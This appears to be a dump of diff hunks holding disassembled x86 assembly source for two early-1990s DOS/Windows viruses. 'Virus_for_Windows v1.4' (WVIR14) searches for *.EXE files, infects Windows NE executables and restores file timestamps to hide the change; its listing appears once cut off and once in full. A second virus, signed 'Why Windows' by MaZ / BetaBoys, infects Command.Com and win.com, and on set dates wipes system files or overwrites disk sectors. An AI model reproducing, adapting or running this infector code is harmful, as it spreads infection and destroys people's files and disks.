mov dx,data_19e
call sub_2
pop es
mov ax,4C00h
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
wvir14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_ret_4 ; Jump if carry Set
xchg ax,bx
mov si,100h
call sub_3
jc loc_3 ; Jump if carry Set
cmp word ptr [si+14h],100h
je loc_3 ; Jump if equal
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
push cx
push dx
call sub_4
pop dx
pop cx
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
loc_3:
mov ah,3Eh
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_ret_4:
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_ret_4 ; Jump if carry Set
xchg ax,bx
mov si,100h
call sub_3
jc loc_3 ; Jump if carry Set
cmp word ptr [si+14h],100h
jne loc_3 ; Jump if not equal
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
push cx
push dx
call sub_5
call sub_6
pop dx
pop cx
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
jmp short loc_3
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
call sub_8
cmp word ptr [si],5A4Dh
jne loc_5 ; Jump if not equal
cmp word ptr [si+18h],40h
jb loc_5 ; Jump if below
mov ax,[si+3Ch]
mov dx,[si+3Eh]
call sub_16
mov ds:data_20e,ax
mov ds:data_21e,dx
call sub_8
cmp word ptr [si],454Eh
jne loc_5 ; Jump if not equal
cmp word ptr [si+0Ch],302h
jne loc_5 ; Jump if not equal
cmp byte ptr [si+32h],4
jne loc_5 ; Jump if not equal
cmp word ptr [si+36h],802h
jne loc_5 ; Jump if not equal
clc ; Clear carry flag
retn
loc_5:
stc ; Set carry flag
loc_ret_6:
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov ax,[si+16h]
mov dx,140h
call sub_7
cmp word ptr ds:data_13e,3AEh
jb loc_ret_6 ; Jump if below
cmp byte ptr ds:data_14e,50h ; 'P'
jne loc_ret_6 ; Jump if not equal
mov ax,[si+0Eh]
mov dx,148h
call sub_7
cmp word ptr ds:data_16e,4A8h
jb loc_ret_6 ; Jump if below
mov ax,ds:data_12e
call sub_15
mov dx,1A8h
mov cx,2AEh
nop
call sub_9
call sub_13
mov dx,1A8h
mov cx,2AEh
nop
call sub_12
mov ax,word ptr ds:[148h]
call sub_15
mov dx,1A8h
mov cx,0A8h
nop
call sub_9
call sub_13
mov dx,1A8h
mov cx,0A8h
nop
call sub_12
push word ptr ds:[144h]
pop word ptr ds:[1A2h]
and word ptr ds:[144h],0FEFFh
mov ax,[si+16h]
mov dx,140h
call sub_10
xor ax,ax ; Zero register
cwd ; Word to double word
call sub_14
push word ptr [si+14h]
pop word ptr ds:[1A0h]
mov word ptr [si+14h],100h
call sub_11
mov ax,word ptr ds:[140h]
call sub_15
push ds
push cs
pop ds
mov dx,100h
mov cx,2AEh
nop
call sub_12
pop ds
mov ax,word ptr ds:[148h]
call sub_15
mov dx,100h
mov cx,0A8h
nop
call sub_12
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
mov ax,[si+0Eh]
mov dx,148h
call sub_7
mov ax,ds:data_15e
call sub_15
mov dx,100h
mov cx,0A8h
nop
call sub_9
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push word ptr ds:data_23e
pop word ptr ds:data_14e
mov ax,[si+16h]
mov dx,140h
call sub_10
push word ptr ds:data_22e
pop word ptr [si+14h]
xor ax,ax ; Zero register
cwd ; Word to double word
call sub_14
call sub_11
call sub_13
sub ax,0A8h
nop
sbb dx,0
push ax
push dx
call sub_16
mov dx,1A8h
mov cx,0A8h
nop
call sub_9
mov ax,ds:data_15e
call sub_15
mov dx,1A8h
mov cx,0A8h
nop
call sub_12
pop dx
pop ax
sub ax,2AEh
nop
sbb dx,0
push ax
push dx
call sub_16
mov dx,1A8h
mov cx,2AEh
nop
call sub_9
mov ax,word ptr ds:[140h]
call sub_15
mov dx,1A8h
mov cx,2AEh
nop
call sub_12
pop dx
pop ax
call sub_16
mov cx,0
call sub_12
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push dx
dec ax
mov cx,8
mul cx ; dx:ax = reg * ax
add ax,[si+22h]
adc dx,0
call sub_14
pop dx
mov cx,8
jmp short loc_7
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_8:
mov dx,data_11e
mov cx,40h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_9:
loc_7:
mov ah,3Fh
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
push dx
dec ax
mov cx,8
mul cx ; dx:ax = reg * ax
add ax,[si+22h]
adc dx,0
call sub_14
pop dx
mov cx,8
jmp short loc_8
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_11:
mov dx,data_11e
mov cx,40h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_12:
loc_8:
mov ah,40h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
mov ax,4202h
xor cx,cx ; Zero register
cwd ; Word to double word
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
add ax,ds:data_20e
adc dx,ds:data_21e
jmp short loc_9
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_15:
mov cx,10h
mul cx ; dx:ax = reg * ax
add ax,100h
adc dx,0
jmp short loc_9
db 33h,0C0h, 99h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_16:
loc_9:
xchg cx,dx
xchg ax,dx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
sub_14 endp
;* No entry point to code
xchg cx,dx
xchg ax,dx
mov ax,4201h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
db ' Virus_for_Windows v1.4 '
db 259 dup (0)
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
db 'bbbbbbbbccccccccdddddddddddddddd'
db 'ddddddddddddddddddddddddddd*.EXE'
db 0
db 'eeeeeeeeeeeee'
db 00h, 00h, 80h, 00h, 00h, 00h
db 5Ch, 00h, 00h, 00h
db 6Ch
db 11 dup (0)
db 4Dh, 4Bh, 39h, 32h
db 8 dup (0)
seg_a ends
;------------------------------------------------------ stack_seg_b ----
stack_seg_b segment word stack 'STACK'
db 8192 dup (0)
stack_seg_b ends
end start
@@ -0,0 +1,487 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ WVIR14 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Sep-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_11e equ 100h ;*
data_12e equ 140h ;*
data_13e equ 142h ;*
data_14e equ 144h ;*
data_15e equ 148h ;*
data_16e equ 14Ah ;*
data_17e equ 150h ;*
data_18e equ 16Eh ;*
data_19e equ 181h ;*
data_20e equ 19Ch ;*
data_21e equ 19Eh ;*
data_22e equ 1A0h ;*
data_23e equ 1A2h ;*
;------------------------------------------------------------ seg_a ----
seg_a segment byte public
assume cs:seg_a , ds:seg_a , ss:stack_seg_b
db 249 dup (0)
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; Program Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
wvir14 proc far
start:
mov ax,cs
add ax,3Bh
mov ds,ax
cld ; Clear direction
push es
push ds
pop es
mov si,data_18e
mov di,data_19e
mov cx,0Dh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov dx,data_17e
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov dx,17Bh
xor cx,cx ; Zero register
mov ah,4Eh
loc_1:
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_2 ; Jump if carry Set
mov dx,data_18e
call sub_1
mov ah,4Fh ; 'O'
jmp short loc_1
loc_2:
mov dx,data_19e
call sub_2
pop es
mov ax,4C00h
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
wvir14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_ret_4 ; Jump if carry Set
xchg ax,bx
mov si,100h
call sub_3
jc loc_3 ; Jump if carry Set
cmp word ptr [si+14h],100h
je loc_3 ; Jump if equal
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
push cx
push dx
call sub_4
pop dx
pop cx
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
loc_3:
mov ah,3Eh
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_ret_4:
retn
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_ret_4 ; Jump if carry Set
xchg ax,bx
mov si,100h
call sub_3
jc loc_3 ; Jump if carry Set
cmp word ptr [si+14h],100h
jne loc_3 ; Jump if not equal
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
push cx
push dx
call sub_5
call sub_6
pop dx
pop cx
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
jmp short loc_3
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
call sub_8
cmp word ptr [si],5A4Dh
jne loc_5 ; Jump if not equal
cmp word ptr [si+18h],40h
jb loc_5 ; Jump if below
mov ax,[si+3Ch]
mov dx,[si+3Eh]
call sub_16
mov ds:data_20e,ax
mov ds:data_21e,dx
call sub_8
cmp word ptr [si],454Eh
jne loc_5 ; Jump if not equal
cmp word ptr [si+0Ch],302h
jne loc_5 ; Jump if not equal
cmp byte ptr [si+32h],4
jne loc_5 ; Jump if not equal
cmp word ptr [si+36h],802h
jne loc_5 ; Jump if not equal
clc ; Clear carry flag
retn
loc_5:
stc ; Set carry flag
loc_ret_6:
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov ax,[si+16h]
mov dx,140h
call sub_7
cmp word ptr ds:data_13e,3AEh
jb loc_ret_6 ; Jump if below
cmp byte ptr ds:data_14e,50h ; 'P'
jne loc_ret_6 ; Jump if not equal
mov ax,[si+0Eh]
mov dx,148h
call sub_7
cmp word ptr ds:data_16e,4A8h
jb loc_ret_6 ; Jump if below
mov ax,ds:data_12e
call sub_15
mov dx,1A8h
mov cx,2AEh
nop
call sub_9
call sub_13
mov dx,1A8h
mov cx,2AEh
nop
call sub_12
mov ax,word ptr ds:[148h]
call sub_15
mov dx,1A8h
mov cx,0A8h
nop
call sub_9
call sub_13
mov dx,1A8h
mov cx,0A8h
nop
call sub_12
push word ptr ds:[144h]
pop word ptr ds:[1A2h]
and word ptr ds:[144h],0FEFFh
mov ax,[si+16h]
mov dx,140h
call sub_10
xor ax,ax ; Zero register
cwd ; Word to double word
call sub_14
push word ptr [si+14h]
pop word ptr ds:[1A0h]
mov word ptr [si+14h],100h
call sub_11
mov ax,word ptr ds:[140h]
call sub_15
push ds
push cs
pop ds
mov dx,100h
mov cx,2AEh
nop
call sub_12
pop ds
mov ax,word ptr ds:[148h]
call sub_15
mov dx,100h
mov cx,0A8h
nop
call sub_12
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
mov ax,[si+0Eh]
mov dx,148h
call sub_7
mov ax,ds:data_15e
call sub_15
mov dx,100h
mov cx,0A8h
nop
call sub_9
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push word ptr ds:data_23e
pop word ptr ds:data_14e
mov ax,[si+16h]
mov dx,140h
call sub_10
push word ptr ds:data_22e
pop word ptr [si+14h]
xor ax,ax ; Zero register
cwd ; Word to double word
call sub_14
call sub_11
call sub_13
sub ax,0A8h
nop
sbb dx,0
push ax
push dx
call sub_16
mov dx,1A8h
mov cx,0A8h
nop
call sub_9
mov ax,ds:data_15e
call sub_15
mov dx,1A8h
mov cx,0A8h
nop
call sub_12
pop dx
pop ax
sub ax,2AEh
nop
sbb dx,0
push ax
push dx
call sub_16
mov dx,1A8h
mov cx,2AEh
nop
call sub_9
mov ax,word ptr ds:[140h]
call sub_15
mov dx,1A8h
mov cx,2AEh
nop
call sub_12
pop dx
pop ax
call sub_16
mov cx,0
call sub_12
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push dx
dec ax
mov cx,8
mul cx ; dx:ax = reg * ax
add ax,[si+22h]
adc dx,0
call sub_14
pop dx
mov cx,8
jmp short loc_7
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_8:
mov dx,data_11e
mov cx,40h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_9:
loc_7:
mov ah,3Fh
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
push dx
dec ax
mov cx,8
mul cx ; dx:ax = reg * ax
add ax,[si+22h]
adc dx,0
call sub_14
pop dx
mov cx,8
jmp short loc_8
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_11:
mov dx,data_11e
mov cx,40h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_12:
loc_8:
mov ah,40h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
mov ax,4202h
xor cx,cx ; Zero register
cwd ; Word to double word
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
add ax,ds:data_20e
adc dx,ds:data_21e
jmp short loc_9
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_15:
mov cx,10h
mul cx ; dx:ax = reg * ax
add ax,100h
adc dx,0
jmp short loc_9
db 33h,0C0h, 99h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_16:
loc_9:
xchg cx,dx
xchg ax,dx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
sub_14 endp
;* No entry point to code
xchg cx,dx
xchg ax,dx
mov ax,4201h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
retn
db ' Virus_for_Windows v1.4 '
db 259 dup (0)
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
db 'bbbbbbbbccccccccdddddddddddddddd'
db 'ddddddddddddddddddddddddddd*.EXE'
db 0
db 'eeeeeeeeeeeee'
db 00h, 00h, 80h, 00h, 00h, 00h
db 5Ch, 00h, 00h, 00h
db 6Ch
db 11 dup (0)
db 4Dh, 4Bh, 39h, 32h
db 8 dup (0)
seg_a ends
;------------------------------------------------------ stack_seg_b ----
stack_seg_b segment word stack 'STACK'
db 8192 dup (0)
stack_seg_b ends
end start
+225
View File
@@ -0,0 +1,225 @@
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
ww proc far
start:
jmp loc_2
db 12 dup (90h)
db 0CDh, 20h
loc_2:
jmp short loc_3
db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
db 00h, 00h
data_8 db 'C:\Command.Com', 0
db 'C:\Autoexec.Bat', 0
db 'C:\Config.Sys', 0
db '\win'
data_12 dw 6F64h
db 'ws\win.com'
db 00h,0E9h, 0Eh, 00h, 90h,0C8h
db 01h
loc_3:
mov bx,101h
mov ah,[bx]
mov bx,102h
mov al,[bx]
xchg al,ah
add ax,3
mov si,ax
mov ah,1Ah
lea dx,[si+2C8h]
add dx,6
int 21h
mov ah,4Eh
lea dx,[si+103h]
mov cx,6
int 21h
cmp ax,12h
je loc_7
lea dx,[si+10Ah]
jmp short loc_6
db 90h
loc_5:
mov ah,4Dh
int 21h
mov ah,4Fh
int 21h
cmp ax,12h
je loc_7
lea dx,[si+2C8h]
add dx,24h
loc_6:
mov ah,3Dh
mov al,2
int 21h
mov bx,ax
mov ah,42h
mov al,2
mov dx,0
mov cx,0
int 21h
push ax
sub ax,6
mov dx,ax
mov ah,42h
mov al,0
mov cx,0
int 21h
mov ah,3Fh
mov cx,1
lea dx,[si+14Bh]
int 21h
mov ah,byte ptr data_8+30h[si]
cmp ah,42h
jne loc_8
jmp short loc_5
loc_7:
jmp short loc_9
db 90h
loc_8:
mov ah,42h
mov al,0
mov dx,0
mov cx,0
int 21h
mov ax,3F00h
mov cx,3
lea dx,[si+2C8h]
add dx,3
int 21h
mov ax,4200h
mov dx,0
mov cx,0
int 21h
pop ax
sub ax,3
mov byte ptr data_8+2Eh[si],al
mov byte ptr data_8+2Fh[si],ah
mov ah,40h
mov cx,3
lea dx,[si+148h]
int 21h
mov ax,4202h
mov dx,0
mov cx,0
int 21h
mov ah,40h
lea dx,[si+100h]
mov cx,data_12[si]
int 21h
mov ax,4000h
lea dx,[si+2C8h]
add dx,3
mov cx,3
int 21h
jmp short loc_9
db 90h
loc_9:
mov ah,3Eh
int 21h
mov ah,41h
lea dx,[si+137h]
int 21h
mov ah,2Ah
int 21h
cmp dh,2
jne loc_14
cmp dl,17h
je loc_10
cmp dl,18h
je loc_11
cmp dl,19h
je loc_12
jmp short loc_14
db 90h
loc_10:
mov ah,3Ch
lea dx,[si+119h]
mov cx,1
int 21h
jmp short loc_14
db 90h
loc_11:
mov ah,3Ch
lea dx,[si+129h]
mov cx,1
int 21h
jmp short loc_14
db 90h
loc_12:
mov al,2
loc_13:
mov cx,96h
mov dx,0
int 26h
inc al
cmp al,4
jne loc_13
loc_14:
mov cx,3
lea ax,[si+2C8h]
mov si,ax
mov di,100h
rep movsb
call sub_1
int 20h
ww endp
sub_1 proc near
mov di,offset start
jmp di
db 'Why Windows '
copyright db '(c)1992 MaZ / BetaBoys B.B'
db 90h, 90h, 90h
sub_1 endp
seg_a ends
end start
